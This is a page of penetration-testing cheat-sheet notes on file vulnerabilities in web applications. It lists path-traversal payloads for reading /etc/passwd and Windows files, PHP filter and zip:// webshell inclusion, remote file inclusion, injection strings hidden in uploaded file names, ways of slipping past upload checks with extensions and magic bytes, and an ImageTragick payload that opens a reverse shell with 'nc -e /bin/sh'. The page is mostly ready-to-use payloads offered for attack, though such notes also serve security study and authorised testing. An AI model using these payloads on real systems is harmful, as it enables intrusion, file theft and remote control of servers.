📑
Security Notes
  • Readme
  • Resources
    • Useful sites
    • Metasploit
      • Searchsploit
      • Msfvenom
      • Meterpreter
    • Shells
    • Linux
      • Cron
      • Connection
      • Compilers
    • Windows
      • Kernel exploits table
    • Bruteforce
      • Checklist
      • John the Ripper
      • Hashcat
    • BOF
      • Assembly
    • Gaining access checklist
  • Cloud - AWS
    • Enumeration
    • References
    • Bucket S3
      • Public Bucket
      • AMI Files
      • File upload to RCE
    • EC2
      • cloud-init Exploits
      • SSRF To AWS Role compromise
      • Unencrypted EBS
    • IAM
      • Account Disclosure by resource policy
    • Lambda Function
      • Code Injection
      • Attacking APIs
    • VPC
      • Expose Resources
  • Networking
    • Nmap
      • Scan types
    • TCPDump
    • Port forwarding
    • Ports
      • 21 - FTP
      • 22 - SSH
      • 25 465 587 - SMTP
      • 53 - DNS
      • 110 995 - POP3
      • 111 - NFS
      • 113 - Ident
      • 123 - NTP
      • 135 137 139 - RPC
      • 143 993 - IMAP
      • 161 - SNMP
      • 389 - LDAP
      • 139 445 - SMB
      • 873 - Rsync
      • 6379 - Redis
      • 6667 - IRC
  • Linux PrivEsc
    • Checklist
    • Enumeration
      • Important files
      • Memory Dump
    • Privileges Exploitation
    • Wildcard Exploits
    • Sudo Exploits
    • Docker Container
    • Docker Groups
    • Common Exploits
  • Windows PrivEsc
    • Checklist
    • Enumeration
      • Important Files
    • Antivirus evasion tools
    • Unquoted paths
    • Always install elevated
    • Vulnerable services
    • Client side
    • Exploitable privileges
      • Juicy Potato
    • UAC bypass
    • Common Exploits
  • Active Directory
    • Introduction
    • Checklist
    • Enumeration
    • Enable RDP
    • Kerberos
    • Rubeus
    • Credentials harvesting
      • Domain Controller specific
    • Connection
    • Pass The Hash
    • Kerberoast
    • ASREProast
    • Tickets
  • Web Attacks
    • Checklist
    • Enumeration
      • URL bruteforcing
    • APIs and Fields
    • Authentication
    • Filter Evasion
      • Fuzzying and encoding
    • File Vulnerabilities
      • LFI List
      • PHP shells
    • RCE
    • Code Injection
    • Dependency Injection
    • Joomla
    • Wordpress
    • WebDAV
    • HTTP
    • XSS
      • DOM Based
      • Reflected
      • Filter Evasion
    • SSI
    • SSTI
    • RCE
    • CSRF
    • SQL injection
      • sqlmap
      • PostgreSQL
      • Oracle
      • MSSQL
      • MySQL
      • Login
    • XPath injection
    • XXE
    • CORS
  • MOBILE PENTESTING
    • Static Code Analysis
    • Dynamic Code Analysis
    • Network Traffic Analysis
Powered by GitBook
On this page
  • LFI
  • Payloads
  • Importing with file modifiers
  • RFI
  • File upload functionality
  • Filename payloads
  • Evade file restrictions
  • Magic bytes
  • ImageTrick vulnerability
  1. Web Attacks

File Vulnerabilities

PreviousFuzzying and encodingNextLFI List

Last updated 1 year ago

LFI

local file inclusion happens when it is possible to access files stored on the target's system by passing a relative path to a parameter of a request. The number of "up one level instructions" is irrelevant because once we reach the root level, the additional "go up" instructions will be ignored.

See for a list of possible target files for tests

Payloads

#Linux
../../../../../../../../../../../../etc/passwd
#Windows
..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini
..\..\..\..\..\..\..\..\..\..\..\..\boot.ini

Importing with file modifiers

Disclose PHP file source code

<url>?<arg>=php://filter/convert.base64-encode/resource=<php file>.php

Execute webshell from a ZIP file. The webshell extension ca be omitted

<url>?<arg>=zip://<path to zip file>%23<webshell>?<args>

RFI

Remote file inclusion happens when an attacker is able to make a web server include and execute files hosted on a different server controlled by the attacker. For instance by making a parameter point to an url of a file such as a reverse shell written in php it is possible to make the server follow the url and execute the shell

Payloads

www.google.com    #expect to see html code as result
<your url>:<port> #start a listener on the port and see if you receive an HTTP request

File upload functionality

Filename payloads

../../../tmp/evil.png                 #test for LFI
sleep(10)-- -.jpg                     #test for SQLi
<svg onload=alert(document.domain)>   #test for stored XSS
; sleep 10;                           #test for RCE

Evade file restrictions

Changing the content type header when trying to upload reverse shells can bypass simple files detection systems.

These strings are effective in evading file upload checks only if the server does not check the actual file signature but checks only the extension.

file.png.php
file.png.Php5
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
flile.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg

Magic bytes

To bypass file controls based on MIME type and file signature insert the following bytes sequences at the beginning of the file to change its type and edit file extension accordingly. Once the file is stored on the server you will have to find a way to edit it back in order to restore its origina behavior when opened

python -c "print '<signature>'" > <file>
#hex signature example: \x4D\x5A
File type
Mnemonic
Signature

DOS executable

"MZ"

0x4D 0x5A

PE32 executable

"MZ"...."PE.."

0x4D 0x5A ... 0x50 0x45 0x00 0x00

Mach-O Executable (32 bit)

"FEEDFACE"

0xFE 0xED 0xFA 0xCE

Mach-O Executable (64 bit)

"FEEDFACF"

0xFE 0xED 0xFA 0xCF

ELF Executable

".ELF"

0x7F 0x45 0x4C 0x46

Zip Archive

"PK.."

0x50 0x4B 0x03 0x04

Rar Archive

"Rar!...."

0x52 0x61 0x72 0x21 0x1A 0x07 0x01 0x00

Ogg Container

"OggS"

0x4F 0x67 0x67 0x53

Matroska/EBML Container

N/A

0x45 0x1A 0xA3 0xDF

PNG Image

".PNG...."

0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A

BMP Image

"BM"

0x42 0x4D

GIF Image

"GIF87a"

0x47 0x49 0x46 0x38 0x37 0x61

GIF Image

"GIF89a"

0x47 0x49 0x46 0x38 0x39 0x61

ImageTrick vulnerability

Save this code snippet in a text file and upload it to receive a reverse shell

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|nc -e /bin/sh <IP> "<PORT>)'
pop graphic-context

See for shells to be used in an attack. Keep in mind that these files MUST be stored as .txt files instead of their executable format (.php, .jsp, .asp). If you don't do this the malicious code will be executed on your local server instead of the remote one

LFI List
PHP shells